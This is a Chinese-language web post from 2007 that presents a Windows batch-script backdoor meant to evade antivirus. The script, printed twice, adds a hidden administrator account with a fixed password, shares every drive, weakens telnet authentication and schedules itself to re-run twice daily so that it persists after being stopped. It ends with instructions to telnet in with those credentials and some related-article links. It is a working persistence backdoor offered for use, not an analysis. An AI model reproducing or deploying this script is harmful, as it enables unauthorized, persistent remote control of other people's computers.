用批處理寫的永不被殺的后門
更新時(shí)間:2007年05月15日 00:00:00 作者:
代碼思路是影子鷹DESERT朋友的,原代碼比較麻煩,我做了改進(jìn),這個(gè)后門優(yōu)點(diǎn)就是小而且不會(huì)被殺,放到SYSTEM32目錄下就可以了 ,代碼如下:
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
這樣就會(huì)循環(huán)運(yùn)行我們的程序了,即使被人停下來,過幾個(gè)小時(shí),又回重新運(yùn)行,呵呵~~
運(yùn)行后TELNET IP上去,用戶名為xyt,密碼為hacker。
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
這樣就會(huì)循環(huán)運(yùn)行我們的程序了,即使被人停下來,過幾個(gè)小時(shí),又回重新運(yùn)行,呵呵~~
運(yùn)行后TELNET IP上去,用戶名為xyt,密碼為hacker。
相關(guān)文章
DOS下常用的相關(guān)網(wǎng)絡(luò)命令總結(jié)
DOS下常用的相關(guān)網(wǎng)絡(luò)命令總結(jié)...2007-03-03
批處理(bat)實(shí)現(xiàn)全盤搜索指定文件獲取其完整路徑方法大全
本文總結(jié)了4種實(shí)現(xiàn)全盤搜索指定文件獲取其完整路徑的bat批處理文件源碼,有需要的朋友可以參考下2014-09-09
用批處理程序修改 計(jì)算機(jī)名 工作組 計(jì)算機(jī)描述的代碼
用批處理程序修改 計(jì)算機(jī)名 工作組 計(jì)算機(jī)描述的代碼,其實(shí)計(jì)算機(jī)名是保存在注冊(cè)表里面的,我們可以通過直接修改注冊(cè)表,達(dá)到修改的目的2013-03-03

